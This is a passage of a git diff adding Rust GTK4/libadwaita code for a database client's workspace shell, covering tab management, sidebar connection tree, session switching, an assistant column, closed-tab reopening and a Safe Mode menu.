+        let tree = ConnectionTree::new(services.saved_connections.clone());
+        imp.sidebar_slot.set_child(Some(&tree.widget()));
+        tree.follow_search(&imp.table_search);
+        let _ = imp.tree.set(tree);
+        crate::ui::picker::install_picker_actions(&shell, services.saved_connections.clone(), sender.clone());
+        let _ = imp.sender.set(sender);
+
+        let app = window.application();
+        let menu_button = primary_menu_button(app.as_ref());
+        if let Some(menu) = app_menu(app.as_ref(), PRIMARY_MENU) {
+            menu_button.set_menu_model(Some(&with_safe_mode(&menu)));
+        }
+        imp.sidebar_header.pack_end(&menu_button);
+
+        super::workspace_actions::install(window, &shell);
+        imp.history_gate
+            .replace(Some(super::workspace_actions::spawn_history_gate(
+                window,
+                services.history().availability(),
+            )));
+        window.add_action(&gio::PropertyAction::new(
+            SHOW_SIDEBAR,
+            &imp.split_view.get(),
+            "show-sidebar",
+        ));
+        follow_sidebar(&imp.split_view, &imp.sidebar_toggle);
+        window.add_action(&assistant_action(&shell));
+
+        imp.tab_view
+            .bind_property("n-pages", &imp.tab_stack.get(), "visible-child-name")
+            .transform_to(|_, pages: i32| Some(if pages > 0 { "tabs" } else { "empty" }))
+            .sync_create()
+            .build();
+        super::workspace_tab_view::keep_child_navigation_keys(&imp.tab_view);
+        shell.connect_overview(app.as_ref());
+        shell.connect_tab_menu();
+        shell.connect_view();
+        shell.connect_front_notify(Self::on_front_changed);
+        shell.bind_front();
+        shell.describe_front();
+
+        imp.table_search_bar.connect_entry(&*imp.table_search);
+        imp.table_search_bar.set_key_capture_widget(Some(&*imp.sidebar_root));
+        imp.table_search_toggle
+            .bind_property("active", &*imp.table_search_bar, "search-mode-enabled")
+            .bidirectional()
+            .sync_create()
+            .build();
+
+        let jobs = gio::ListStore::new::<gio::ListModel>();
+        imp.export_operations_button
+            .bind(&gtk::FlattenListModel::new(Some(jobs.clone())));
+        let _ = imp.export_jobs.set(jobs);
+        shell
+    }
+
+    /// The overview's new tab opens an editor on the session in front,
+    /// and shows only while there is one. The overview selects the page
+    /// it gets back.
+    fn connect_overview(&self, app: Option<&gtk::Application>) {
+        let overview = self.imp().tab_overview.get();
+        if let Some(menu) = app_menu(app, TAB_OVERVIEW_MENU) {
+            overview.set_secondary_menu(Some(&menu));
+        }
+        self.bind_property("front", &overview, "enable-new-tab")
+            .transform_to(|_, front: Option<Workspace>| Some(front.is_some()))
+            .sync_create()
+            .build();
+    }
+
+    /// The overview's new tab opens an editor in the session in front.
+    /// The typed handler hands the page back as libadwaita expects;
+    /// returning it through a generic closure keeps an extra reference
+    /// and the closed tab is never freed.
+    fn follow_front_for_new_tabs(&self) {
+        let imp = self.imp();
+        let overview = imp.tab_overview.get();
+        if let Some(handler) = imp.create_tab.take() {
+            overview.disconnect(handler);
+        }
+        if let Some(factory) = self.front().and_then(|front| front.tab_factory()) {
+            imp.create_tab
+                .replace(Some(overview.connect_create_tab(move |_| factory.create_editor())));
+        }
+    }
+
+    /// The tab menu closes pages of every session in the bar, each one
+    /// through its own session's prompts. Close comes last, and no item
+    /// says left or right, as the GNOME HIG asks.
+    fn connect_tab_menu(&self) {
+        let imp = self.imp();
+        let target = self.downgrade();
+        imp.tab_view.connect_setup_menu(move |_, page| {
+            if let Some(shell) = target.upgrade() {
+                shell.imp().menu_target.replace(page.cloned());
+            }
+        });
+        let group = gio::SimpleActionGroup::new();
+        let menu_action = |name: &str, close: fn(&adw::TabView, &adw::TabPage)| {
+            let action = gio::SimpleAction::new(name, None);
+            let shell = self.downgrade();
+            action.connect_activate(move |_, _| {
+                let Some(shell) = shell.upgrade() else {
+                    return;
+                };
+                let page = shell.imp().menu_target.borrow().clone();
+                if let Some(page) = page {
+                    close(&shell.imp().tab_view, &page);
+                }
+            });
+            action
+        };
+        group.add_action(&menu_action("close-others", |view, page| view.close_other_pages(page)));
+        group.add_action(&menu_action("close-after", |view, page| view.close_pages_after(page)));
+        group.add_action(&menu_action("close", |view, page| view.close_page(page)));
+        imp.tab_view.insert_action_group("tab", Some(&group));
+        let others = gio::Menu::new();
+        others.append(Some(&gettext("Close Other Tabs")), Some("tab.close-others"));
+        others.append(Some(&gettext("Close Tabs After This One")), Some("tab.close-after"));
+        let close = gio::Menu::new();
+        close.append(Some(&gettext("Close")), Some("tab.close"));
+        let menu = gio::Menu::new();
+        menu.append_section(None, &others);
+        menu.append_section(None, &close);
+        imp.tab_view.set_menu_model(Some(&menu));
+    }
+
+    fn connect_view(&self) {
+        let view = self.imp().tab_view.get();
+        let shell = self.downgrade();
+        view.connect_selected_page_notify(move |_| {
+            if let Some(shell) = shell.upgrade() {
+                shell.follow_selected_page();
+            }
+        });
+        // libadwaita 1.9 has no tab groups: every tab bar of the process
+        // takes a dropped tab, and a drop outside one asks for a window.
+        // A tab never leaves its session, so it comes back to this view.
+        view.connect_create_window(|view| Some(view.clone()));
+        let shell = self.downgrade();
+        view.connect_page_attached(move |view, page, _| {
+            let Some(shell) = shell.upgrade() else {
+                return;
+            };
+            shell.tell_sharing();
+            // A page appended here is not in its session's index yet; one
+            // dragged in from another window is in none of them.
+            if view.is_transferring_page()
+                && shell.owner_of(page).is_none()
+                && let Some(sender) = shell.imp().sender.get()
+            {
+                sender.deliver(SessionWindowInput::ReturnForeignTab(page.downgrade().into()));
+            }
+        });
+        let shell = self.downgrade();
+        view.connect_page_detached(move |_, _, _| {
+            if let Some(shell) = shell.upgrade() {
+                shell.tell_sharing();
+            }
+        });
+    }
+
+    /// The header bars, the window's title and the actions that act on
+    /// one session follow the session in front.
+    fn bind_front(&self) {
+        let imp = self.imp();
+        let front = gtk::PropertyExpression::new(Self::static_type(), None::<&gtk::Expression>, "front");
+        let of_front = |property: &str| gtk::PropertyExpression::new(Workspace::static_type(), Some(&front), property);
+        let (title, icon) = (imp.window_title.get(), imp.connection_icon.get());
+        let shows_icon = gtk::ClosureExpression::new::<bool>(
+            [of_front("icon-name")],
+            glib::closure!(|_: Option<glib::Object>, icon: Option<String>| icon.is_some()),
+        );
+        let mut watches = vec![
+            of_front("title").bind(&title, "title", Some(self)),
+            of_front("subtitle").bind(&title, "subtitle", Some(self)),
+            of_front("icon-name").bind(&icon, "icon-name", Some(self)),
+            shows_icon.bind(&icon, "visible", Some(self)),
+            of_front("assistant-available").bind(&imp.assistant_toggle.get(), "visible", Some(self)),
+        ];
+        if let Some(window) = imp.window.upgrade() {
+            watches.push(of_front("window-title").bind(&window, "title", Some(self)));
+            for (name, property) in [
+                (SHOW_ASSISTANT, "assistant-available"),
+                (REVIEW_HOST_KEY, "can-review-host-key"),
+            ] {
+                if let Some(action) = window.lookup_action(name).and_downcast::<gio::SimpleAction>() {
+                    // Off until a session is in front to say.
+                    action.set_enabled(false);
+                    watches.push(of_front(property).bind(&action, "enabled", Some(self)));
+                }
+            }
+        }
+        imp.watches.replace(watches);
+    }
+
+    /// The session that shows `page`, with the tab's id.
+    pub(crate) fn owner_of(&self, page: &adw::TabPage) -> Option<(Workspace, Uuid)> {
+        self.imp()
+            .sessions
+            .borrow()
+            .iter()
+            .find_map(|held| held.workspace.tab_id(page).map(|id| (held.workspace.clone(), id)))
+    }
+
+    /// The tab view every session's tabs share.
+    pub(crate) fn tab_view(&self) -> adw::TabView {
+        self.imp().tab_view.get()
+    }
+
+    /// Where the window shows its toasts while it shows the shell: under
+    /// the header bars, inside the tab overview.
+    pub(crate) fn toast_overlay(&self) -> adw::ToastOverlay {
+        self.imp().toast_overlay.get()
+    }
+
+    /// The saved connections and the open sessions' tables, in the
+    /// sidebar. `None` only for a shell not built by `new`.
+    pub(crate) fn tree(&self) -> Option<ConnectionTree> {
+        self.imp().tree.get().cloned()
+    }
+
+    /// The sessions the window holds, in the order they joined.
+    pub(crate) fn sessions(&self) -> Vec<Workspace> {
+        self.imp()
+            .sessions
+            .borrow()
+            .iter()
+            .map(|held| held.workspace.clone())
+            .collect()
+    }
+
+    /// Hold `workspace`: its banners, its assistant, its exports and its
+    /// branch of the tree. It comes to the front while no tab is on
+    /// screen; otherwise the tab the user works in keeps the front until
+    /// one of its own is selected.
+    pub(crate) fn add_session(&self, workspace: &Workspace) {
+        let imp = self.imp();
+        let handlers = self.follow_session(workspace);
+        imp.session_banners.add_child(workspace);
+        imp.list_banners.add_child(&workspace.imp().list_banners.get());
+        if let Some(pane) = workspace.assistant_pane() {
+            imp.assistant_stack.add_child(&pane);
+        }
+        let jobs = workspace.exports().map(|exports| exports.jobs());
+        if let (Some(all), Some(list)) = (imp.export_jobs.get(), jobs.as_ref()) {
+            all.append(list);
+        }
+        if let (Some(tree), Some(key), Some(sidebar)) = (imp.tree.get(), workspace.key(), workspace.sidebar_view()) {
+            tree.add_session(&key, &workspace.connection_name(), &sidebar);
+        }
+        imp.sessions.borrow_mut().push(HeldSession {
+            workspace: workspace.clone(),
+            handlers,
+            jobs,
+        });
+        self.tell_sharing();
+        if imp.tab_view.selected_page().is_none() {
+            self.set_front(Some(workspace));
+        }
+    }
+
+    /// What the shell hears from a session it holds.
+    fn follow_session(&self, workspace: &Workspace) -> Vec<glib::SignalHandlerId> {
+        let shell = self.downgrade();
+        let saving = workspace.connect_saves_in_flight_changed(move |_, _| {
+            if let Some(shell) = shell.upgrade() {
+                shell.refresh_saving();
+            }
+        });
+        let shell = self.downgrade();
+        let renamed = workspace.connect_connection_name_notify(move |workspace| {
+            if let Some(shell) = shell.upgrade()
+                && shell.front().as_ref() == Some(workspace)
+            {
+                shell.describe_front();
+            }
+        });
+        let shell = self.downgrade();
+        let assistant = workspace.connect_assistant_available_notify(move |workspace| {
+            if let Some(shell) = shell.upgrade()
+                && shell.front().as_ref() == Some(workspace)
+            {
+                shell.sync_assistant_column();
+            }
+        });
+        vec![saving, renamed, assistant]
+    }
+
+    /// Let go of `workspace`, before it shuts down. The session whose
+    /// tab is selected stays in front, else the newest comes forward
+    /// with the tab it was left on, before the leaving session's pages
+    /// close and the view would pick a neighbour of theirs.
+    pub(crate) fn remove_session(&self, workspace: &Workspace) {
+        let imp = self.imp();
+        let held = {
+            let mut sessions = imp.sessions.borrow_mut();
+            let Some(position) = sessions.iter().position(|held| &held.workspace == workspace) else {
+                return;
+            };
+            sessions.remove(position)
+        };
+        for handler in held.handlers {
+            workspace.disconnect(handler);
+        }
+        imp.closed_tabs
+            .borrow_mut()
+            .retain(|closed| closed.session.upgrade().is_some_and(|session| &session != workspace));
+        let shown = imp
+            .tab_view
+            .selected_page()
+            .and_then(|page| self.owner_of(&page))
+            .map(|(owner, _)| owner);
+        let next = shown.clone().or_else(|| self.sessions().last().cloned());
+        if shown.is_none()
+            && let Some(page) = next.as_ref().and_then(Workspace::some_page)
+        {
+            imp.tab_view.set_selected_page(&page);
+        }
+        self.set_front(next.as_ref());
+        if holds_child(&imp.session_banners, workspace) {
+            imp.session_banners.remove(workspace);
+        }
+        let banners = workspace.imp().list_banners.get();
+        if holds_child(&imp.list_banners, &banners) {
+            imp.list_banners.remove(&banners);
+        }
+        if let Some(pane) = workspace.assistant_pane()
+            && holds_child(&imp.assistant_stack, &pane)
+        {
+            imp.assistant_stack.remove(&pane);
+        }
+        if let (Some(all), Some(list)) = (imp.export_jobs.get(), held.jobs.as_ref())
+            && let Some(position) = all.find(list)
+        {
+            all.remove(position);
+        }
+        if let (Some(tree), Some(key)) = (imp.tree.get(), workspace.key()) {
+            tree.remove_session(&key);
+        }
+        self.tell_sharing();
+        self.refresh_saving();
+    }
+
+    /// Bring `workspace` forward with the tab it was left on, or with a
+    /// new SQL editor when it has none open.
+    pub(crate) fn show_session(&self, workspace: &Workspace) {
+        if !self.holds(workspace) {
+            return;
+        }
+        match workspace.some_page() {
+            Some(page) => self.imp().tab_view.set_selected_page(&page),
+            None => {
+                if let Some(input) = workspace.sender() {
+                    input.deliver(WorkspaceInput::NewEditorTab);
+                }
+            }
+        }
+        self.set_front(Some(workspace));
+    }
+
+    fn holds(&self, workspace: &Workspace) -> bool {
+        self.imp()
+            .sessions
+            .borrow()
+            .iter()
+            .any(|held| &held.workspace == workspace)
+    }
+
+    /// The tab on screen changed: its session comes to the front. With
+    /// no tab the front stays where it was.
+    pub(super) fn follow_selected_page(&self) {
+        let Some(page) = self.imp().tab_view.selected_page() else {
+            return;
+        };
+        if let Some((owner, _)) = self.owner_of(&page) {
+            self.set_front(Some(&owner));
+        }
+    }
+
+    fn set_front(&self, workspace: Option<&Workspace>) {
+        let imp = self.imp();
+        if imp.front.borrow().as_ref() == workspace {
+            return;
+        }
+        imp.front.replace(workspace.cloned());
+        self.notify_front();
+    }
+
+    /// Show the front's banners and assistant, and name what follows its
+    /// data model after it. The expressions of `bind_front` do the rest.
+    fn on_front_changed(&self) {
+        let imp = self.imp();
+        if let Some(front) = self.front() {
+            if holds_child(&imp.session_banners, &front) {
+                imp.session_banners.set_visible_child(&front);
+            }
+            let banners = front.imp().list_banners.get();
+            if holds_child(&imp.list_banners, &banners) {
+                imp.list_banners.set_visible_child(&banners);
+            }
+            if let Some(pane) = front.assistant_pane()
+                && holds_child(&imp.assistant_stack, &pane)
+            {
+                imp.assistant_stack.set_visible_child(&pane);
+            }
+        }
+        self.describe_front();
+        self.sync_assistant_column();
+        self.follow_front_for_new_tabs();
+        // A front with a tab selected says which row it shows itself.
+        if imp.tab_view.selected_page().is_none()
+            && let Some(tree) = imp.tree.get()
+        {
+            tree.select(None, None);
+        }
+    }
+
+    /// The page with no tab open speaks of what the front's engine
+    /// holds, and the sidebar's Refresh names the connection it reads.
+    fn describe_front(&self) {
+        let imp = self.imp();
+        let front = self.front();
+        let (title, description, editor) = match front.as_ref().and_then(Workspace::data_model) {
+            Some(DataModel::KeyValue) => (
+                gettext("Select a Key"),
+                gettext("Choose a key in the sidebar or open the editor."),
+                gettext("Open Editor"),
+            ),
+            Some(DataModel::Document) => (
+                gettext("Select a Collection"),
+                gettext("Choose a collection in the sidebar or open the editor."),
+                gettext("Open Editor"),
+            ),
+            Some(DataModel::Relational) | None => (
+                gettext("Select a Table"),
+                gettext("Choose a table in the sidebar or open the SQL editor."),
+                gettext("Open SQL Editor"),
+            ),
+        };
+        imp.empty_page.set_title(&title);
+        imp.empty_page.set_description(Some(&description));
+        imp.empty_editor_button.set_label(&editor);
+        let refresh = front.map_or_else(
+            || gettext("Refresh"),
+            |front| gettext_f("Refresh “{connection}”", &[("connection", &front.connection_name())]),
+        );
+        describe_icon_button(&imp.refresh_tables_button.get(), &refresh, Some("win.refresh-tables"));
+    }
+
+    /// A front with no assistant leaves no column open.
+    fn sync_assistant_column(&self) {
+        if self.front().is_some_and(|front| !front.assistant_available()) {
+            self.imp().assistant_split.set_show_sidebar(false);
+        }
+    }
+
+    /// Open the assistant's column, for a statement an editor asked
+    /// about.
+    pub(super) fn reveal_assistant(&self) {
+        self.imp().assistant_split.set_show_sidebar(true);
+    }
+
+    /// The header's spinner shows while any session is saving.
+    fn refresh_saving(&self) {
+        let saving = self
+            .imp()
+            .sessions
+            .borrow()
+            .iter()
+            .any(|held| held.workspace.is_saving());
+        self.imp().row_op_spinner.set_visible(saving);
+    }
+
+    /// Each session titles its tabs again once it has read whether
+    /// another session's tab shares the bar.
+    fn tell_sharing(&self) {
+        for workspace in self.sessions() {
+            if let Some(input) = workspace.sender() {
+                input.deliver(WorkspaceInput::SharesBar);
+            }
+        }
+    }
+
+    /// Whether a session other than `workspace` has a tab in the bar.
+    pub(super) fn others_have_tabs(&self, workspace: &Workspace) -> bool {
+        self.imp()
+            .sessions
+            .borrow()
+            .iter()
+            .any(|held| &held.workspace != workspace && held.workspace.has_tabs())
+    }
+
+    /// Keep a tab `session` closed for Ctrl+Shift+T, which reopens the
+    /// tab closed last whichever session it was in.
+    pub(super) fn remember_closed_tab(&self, session: &Workspace, tab: ClosedTabDescriptor) {
+        let mut closed = self.imp().closed_tabs.borrow_mut();
+        if closed.len() == CLOSED_TABS_CAPACITY {
+            closed.pop_front();
+        }
+        closed.push_back(ClosedTab {
+            session: session.downgrade(),
+            tab,
+        });
+    }
+
+    /// Open the tab closed last again, in the session it was closed in.
+    pub(super) fn reopen_closed_tab(&self) {
+        let reopened = loop {
+            let Some(closed) = self.imp().closed_tabs.borrow_mut().pop_back() else {
+                break None;
+            };
+            if let Some(session) = closed.session.upgrade()
+                && self.holds(&session)
+                && let Some(input) = session.sender()
+            {
+                break Some((input, closed.tab));
+            }
+        };
+        match reopened {
+            Some((input, tab)) => input.deliver(WorkspaceInput::ReopenClosedTab(tab)),
+            // Without a toast the shortcut would read as broken.
+            None => self
+                .toast_overlay()
+                .add_toast(crate::ui::plain_toast(&gettext("No recently closed tab"))),
+        }
+    }
+
+    /// Let go of the tree and what it watches, and take the shell's
+    /// actions off the window: `show-sidebar` holds the split view, and
+    /// with it every tab, for as long as the window has it. The window
+    /// names itself again from here on.
+    pub(crate) fn shutdown(&self) {
+        let imp = self.imp();
+        for watch in imp.watches.take() {
+            watch.unwatch();
+        }
+        if let Some(handler) = imp.create_tab.take() {
+            imp.tab_overview.disconnect(handler);
+        }
+        if let Some(gate) = imp.history_gate.take() {
+            gate.abort();
+        }
+        if let Some(tree) = imp.tree.get() {
+            tree.shutdown();
+        }
+        for held in imp.sessions.take() {
+            for handler in held.handlers {
+                held.workspace.disconnect(handler);
+            }
+        }
+        imp.closed_tabs.borrow_mut().clear();
+        if let Some(window) = imp.window.upgrade() {
+            window.remove_action(SHOW_SIDEBAR);
+            window.remove_action(SHOW_ASSISTANT);
+            super::workspace_actions::remove(&window);
+        }
+    }
+}
+
+/// Whether `child` is one of `stack`'s pages: GTK logs a critical for a
+/// stack asked to show or drop a widget it does not hold.
+fn holds_child(stack: &gtk::Stack, child: &impl IsA<gtk::Widget>) -> bool {
+    child.parent().as_ref() == Some(stack.upcast_ref::<gtk::Widget>())
+}
+
+/// `win.show-assistant`, which follows the column whoever opens it, and
+/// puts the focus in the front's composer.
+fn assistant_action(shell: &WorkspaceShell) -> gio::SimpleAction {
+    let split = shell.imp().assistant_split.get();
+    let action = gio::SimpleAction::new_stateful(SHOW_ASSISTANT, None, &false.to_variant());
+    let shown = split.downgrade();
+    let focus = shell.downgrade();
+    action.connect_change_state(move |action, state| {
+        let Some(show) = state.and_then(|state| state.get::<bool>()) else {
+            return;
+        };
+        action.set_state(&show.to_variant());
+        if let Some(split) = shown.upgrade() {
+            split.set_show_sidebar(show);
+        }
+        if show
+            && let Some(pane) = focus
+                .upgrade()
+                .and_then(|shell| shell.front())
+                .and_then(|front| front.assistant_pane())
+        {
+            pane.focus_composer();
+        }
+    });
+    let followed = action.downgrade();
+    split.connect_show_sidebar_notify(move |split| {
+        if let Some(action) = followed.upgrade() {
+            action.set_state(&split.shows_sidebar().to_variant());
+        }
+    });
+    action
+}
+
+/// The main menu with the session's Safe Mode levels on top, as radio
+/// items of the window's stateful `safe-mode` action.
+fn with_safe_mode(menu: &gio::MenuModel) -> gio::Menu {
+    let levels = gio::Menu::new();
+    for level in tablepro_core::SafeModeLevel::ALL {
+        let item = gio::MenuItem::new(Some(&crate::ui::safe_mode::label(level)), None);
+        item.set_action_and_target_value(
+            Some("win.safe-mode"),
+            Some(&crate::ui::safe_mode::action_target(level).to_variant()),
+        );
+        levels.append_item(&item);
+    }
+    let section = gio::Menu::new();
+    section.append_submenu(Some(&gettext("Safe Mode")), &levels);
+    let whole = gio::Menu::new();
+    whole.append_section(None, &section);
+    whole.append_section(None, menu);
+    whole
+}
+
+/// The toggle shows only while the sidebar is out of view: collapsed
+/// into an overlay, or hidden. Beside a shown sidebar it would only hide
+/// the list the user is looking at.
+fn follow_sidebar(split_view: &adw::OverlaySplitView, toggle: &gtk::ToggleButton) -> gtk::ExpressionWatch {
+    let collapsed = gtk::PropertyExpression::new(
+        adw::OverlaySplitView::static_type(),
+        None::<&gtk::Expression>,
+        "collapsed",
+    );
+    let shown = gtk::PropertyExpression::new(
+        adw::OverlaySplitView::static_type(),
+        None::<&gtk::Expression>,
+        "show-sidebar",
+    );
+    let visible = gtk::ClosureExpression::new::<bool>(
+        [collapsed, shown],
+        glib::closure!(|_: Option<glib::Object>, collapsed: bool, shown: bool| collapsed || !shown),
+    );
+    visible.bind(toggle, "visible", Some(split_view))
+}
diff --git a/linux/crates/app/src/ui/workspace/workspace_shell_imp.rs b/linux/crates/app/src/ui/workspace/workspace_shell_imp.rs
new file mode 100644
index 0000000000..fd19a093bc
--- /dev/null
+++ b/linux/crates/app/src/ui/workspace/workspace_shell_imp.rs
@@ -0,0 +1,151 @@
+use std::cell::{OnceCell, RefCell};
+use std::collections::VecDeque;
+
+use gtk4 as gtk;
+use gtk4::glib;
+use gtk4::prelude::*;
+use gtk4::subclass::prelude::*;
+use libadwaita as adw;
+use libadwaita::subclass::prelude::*;
+
+use super::{ClosedTabDescriptor, Workspace};
+use crate::runtime::InputSender;
+use crate::ui::SessionWindowInput;
+use crate::ui::export::ExportOperationsButton;
+
+/// A session the shell holds, with what it hears from it.
+pub(super) struct HeldSession {
+    pub(super) workspace: Workspace,
+    pub(super) handlers: Vec<glib::SignalHandlerId>,
+    /// Its exports, which leave the operations button with it.
+    pub(super) jobs: Option<gio::ListStore>,
+}
+
+/// A tab closed in one of the window's sessions, which Ctrl+Shift+T
+/// opens again in that session.
+pub(super) struct ClosedTab {
+    pub(super) session: glib::WeakRef<Workspace>,
+    pub(super) tab: ClosedTabDescriptor,
+}
+
+#[derive(Default, gtk::CompositeTemplate, glib::Properties)]
+#[properties(wrapper_type = super::WorkspaceShell)]
+#[template(resource = "/app/tablepro/TablePro/ui/workspace-shell.ui")]
+pub struct WorkspaceShell {
+    #[template_child]
+    pub tab_overview: TemplateChild<adw::TabOverview>,
+    #[template_child]
+    pub breakpoint_bin: TemplateChild<adw::BreakpointBin>,
+    #[template_child]
+    pub narrow_breakpoint: TemplateChild<adw::Breakpoint>,
+    #[template_child]
+    pub toast_overlay: TemplateChild<adw::ToastOverlay>,
+    #[template_child]
+    pub split_view: TemplateChild<adw::OverlaySplitView>,
+    #[template_child]
+    pub sidebar_root: TemplateChild<adw::ToolbarView>,
+    #[template_child]
+    pub sidebar_header: TemplateChild<adw::HeaderBar>,
+    #[template_child]
+    pub table_search_toggle: TemplateChild<gtk::ToggleButton>,
+    #[template_child]
+    pub refresh_tables_button: TemplateChild<gtk::Button>,
+    #[template_child]
+    pub table_search_bar: TemplateChild<gtk::SearchBar>,
+    #[template_child]
+    pub table_search: TemplateChild<gtk::SearchEntry>,
+    #[template_child]
+    pub list_banners: TemplateChild<gtk::Stack>,
+    #[template_child]
+    pub sidebar_slot: TemplateChild<adw::Bin>,
+    #[template_child]
+    pub assistant_split: TemplateChild<adw::OverlaySplitView>,
+    #[template_child]
+    pub assistant_stack: TemplateChild<gtk::Stack>,
+    #[template_child]
+    pub content_root: TemplateChild<adw::ToolbarView>,
+    #[template_child]
+    pub content_header: TemplateChild<adw::HeaderBar>,
+    #[template_child]
+    pub sidebar_toggle: TemplateChild<gtk::ToggleButton>,
+    #[template_child]
+    pub new_tab_button: TemplateChild<gtk::Button>,
+    #[template_child]
+    pub window_title: TemplateChild<adw::WindowTitle>,
+    #[template_child]
+    pub connection_icon: TemplateChild<gtk::Image>,
+    #[template_child]
+    pub assistant_toggle: TemplateChild<gtk::ToggleButton>,
+    #[template_child]
+    pub tab_button: TemplateChild<adw::TabButton>,
+    #[template_child]
+    pub export_operations_button: TemplateChild<ExportOperationsButton>,
+    #[template_child]
+    pub row_op_spinner: TemplateChild<adw::Spinner>,
+    #[template_child]
+    pub tab_bar: TemplateChild<adw::TabBar>,
+    #[template_child]
+    pub session_banners: TemplateChild<gtk::Stack>,
+    #[template_child]
+    pub tab_stack: TemplateChild<gtk::Stack>,
+    #[template_child]
+    pub empty_page: TemplateChild<adw::StatusPage>,
+    #[template_child]
+    pub empty_editor_button: TemplateChild<gtk::Button>,
+    #[template_child]
+    pub tab_view: TemplateChild<adw::TabView>,
+
+    /// The session the header bars, the banners and the window's actions
+    /// speak for: the one whose tab is selected, or with no tab, the one
+    /// that joined or was shown last.
+    #[property(get)]
+    pub(super) front: RefCell<Option<Workspace>>,
+    /// The sessions the window holds, in the order they joined.
+    pub(super) sessions: RefCell<Vec<HeldSession>>,
+    /// Every session's running exports, which the one operations button
+    /// lists together.
+    pub(super) export_jobs: OnceCell<gio::ListStore>,
+    /// The saved connections, and the schemas and tables of each one open
+    /// in the window.
+    pub(super) tree: OnceCell<super::sidebar::ConnectionTree>,
+    /// The window the shell added its actions to.
+    pub(super) window: glib::WeakRef<adw::ApplicationWindow>,
+    pub(super) sender: OnceCell<InputSender<SessionWindowInput>>,
+    /// The tab page whose menu is open: the view names it only then.
+    pub(super) menu_target: RefCell<Option<adw::TabPage>>,
+    /// The tabs closed last, the newest at the back.
+    pub(super) closed_tabs: RefCell<VecDeque<ClosedTab>>,
+    /// Flips the window's history actions as the query database opens.
+    pub(super) history_gate: RefCell<Option<glib::JoinHandle<()>>>,
+    /// What follows the session in front, let go of at shutdown.
+    pub(super) watches: RefCell<Vec<gtk::ExpressionWatch>>,
+    /// The overview's new tab, connected to the front's tab factory.
+    pub(super) create_tab: RefCell<Option<glib::SignalHandlerId>>,
+}
+
+#[glib::object_subclass]
+impl ObjectSubclass for WorkspaceShell {
+    const NAME: &'static str = "TableProWorkspaceShell";
+    type Type = super::WorkspaceShell;
+    type ParentType = adw::Bin;
+
+    fn class_init(klass: &mut Self::Class) {
+        ExportOperationsButton::ensure_type();
+        klass.bind_template();
+    }
+
+    fn instance_init(object: &glib::subclass::InitializingObject<Self>) {
+        object.init_template();
+    }
+}
+
+#[glib::derived_properties]
+impl ObjectImpl for WorkspaceShell {
+    fn constructed(&self) {
+        self.parent_constructed();
+        super::workspace_shell::describe_buttons(&self.obj());
+    }
+}
+
+impl WidgetImpl for WorkspaceShell {}
+impl BinImpl for WorkspaceShell {}
diff --git a/linux/crates/app/src/ui/workspace/workspace_tabs.rs b/linux/crates/app/src/ui/workspace/workspace_tabs.rs
index e915bb261f..cf2de5f6e5 100644
--- a/linux/crates/app/src/ui/workspace/workspace_tabs.rs
+++ b/linux/crates/app/src/ui/workspace/workspace_tabs.rs
@@ -3,7 +3,7 @@ use std::collections::{HashMap, HashSet};
 use std::rc::Rc;
 
 use gtk4 as gtk;
-use gtk4::{gio, glib};
+use gtk4::glib;
 use libadwaita as adw;
 use libadwaita::prelude::*;
 
@@ -24,10 +24,7 @@ use super::tab_factory::EditorPreview;
 use super::tab_index::TabIndex;
 use super::tab_spec::{TabSpec, TablePage};
 use super::workspace_persistence::reopen;
-use super::workspace_tab_view::keep_child_navigation_keys;
-use super::{
-    CLOSED_TABS_CAPACITY, ClosedTabDescriptor, OpenMode, WorkspaceInput, WorkspaceModel, WorkspaceSender, WorkspaceTab,
-};
+use super::{ClosedTabDescriptor, OpenMode, WorkspaceInput, WorkspaceModel, WorkspaceSender, WorkspaceTab};
 use crate::runtime::DeliverInput;
 
 impl WorkspaceModel {
@@ -61,8 +58,18 @@ impl WorkspaceModel {
         match load {
             WorkspaceLoad::Restored(record) => {
                 self.retain_drafts(&key, saved_drafts(&record));
-                let view = self.tab_view.clone();
-                reopen(&view, record, |tab| self.reopen_tab(tab, &mut texts));
+                // Selecting moves the focus with it, which a session that
+                // joins behind the tab the user works in must not take.
+                let shows_none = self.tab_view.selected_page().is_none();
+                let active = reopen(record, |tab| self.reopen_tab(tab, &mut texts));
+                match active {
+                    Some(page) if shows_none => self.tab_view.set_selected_page(&page),
+                    Some(page) => {
+                        self.index.remember(&page);
+                        self.refresh_title();
+                    }
+                    None => {}
+                }
             }
             WorkspaceLoad::Empty => self.retain_drafts(&key, std::iter::empty()),
             // Which drafts the file names is unknown, so none is deleted.
@@ -212,8 +219,10 @@ impl WorkspaceModel {
         };
         // Before the teardown, while the tab still has its page, sort
         // and query.
-        if let Some(descriptor) = describe_closed_tab(&removed) {
-            push_closed_tab(&self.closed_tabs_stack, descriptor);
+        if let Some(descriptor) = describe_closed_tab(&removed)
+            && let (Some(shell), Some(this)) = (self.shell.upgrade(), self.this.upgrade())
+        {
+            shell.remember_closed_tab(&this, descriptor);
         }
         match &removed {
             WorkspaceTab::Editor(slot) => {
@@ -239,7 +248,7 @@ impl WorkspaceModel {
         tab_view.close_page_finish(&page, true);
         drop(removed);
         self.persist_workspace_state();
-        self.refresh_window_title();
+        self.refresh_title();
         self.refresh_unsaved();
         self.refresh_transaction_banner();
         self.report_tabs_changed();
@@ -272,60 +281,6 @@ impl WorkspaceModel {
         }
     }
 
-    /// Close every workspace tab except `keep_id`. Each close goes
-    /// through the per-tab close path so dirty browse tabs still
-    /// trigger the unsaved-changes alert; the user can cancel the
-    /// dialog and the tab stays open while the others continue
-    /// closing in the background.
-    pub(super) fn close_other_workspace_tabs(&mut self, keep_id: Uuid) {
-        let tab_view = self.tab_view.clone();
-        let pages = tab_view.pages();
-        let mut targets: Vec<adw::TabPage> = Vec::with_capacity(pages.n_items() as usize);
-        for i in 0..pages.n_items() {
-            let Some(page) = pages.item(i).and_downcast::<adw::TabPage>() else {
-                continue;
-            };
-            if self.index.id_of(&page) == Some(keep_id) {
-                continue;
-            }
-            targets.push(page);
-        }
-        for page in targets {
-            tab_view.close_page(&page);
-        }
-    }
-
-    /// Close every workspace tab whose display position is greater
-    /// than the targeted one. Useful for rapidly trimming a long
-    /// session of throwaway tabs the user accumulated.
-    pub(super) fn close_workspace_tabs_to_right(&mut self, anchor_id: Uuid) {
-        let tab_view = self.tab_view.clone();
-        let pages = tab_view.pages();
-        let mut anchor_idx: Option<u32> = None;
-        for i in 0..pages.n_items() {
-            let Some(page) = pages.item(i).and_downcast::<adw::TabPage>() else {
-                continue;
-            };
-            if self.index.id_of(&page) == Some(anchor_id) {
-                anchor_idx = Some(i);
-                break;
-            }
-        }
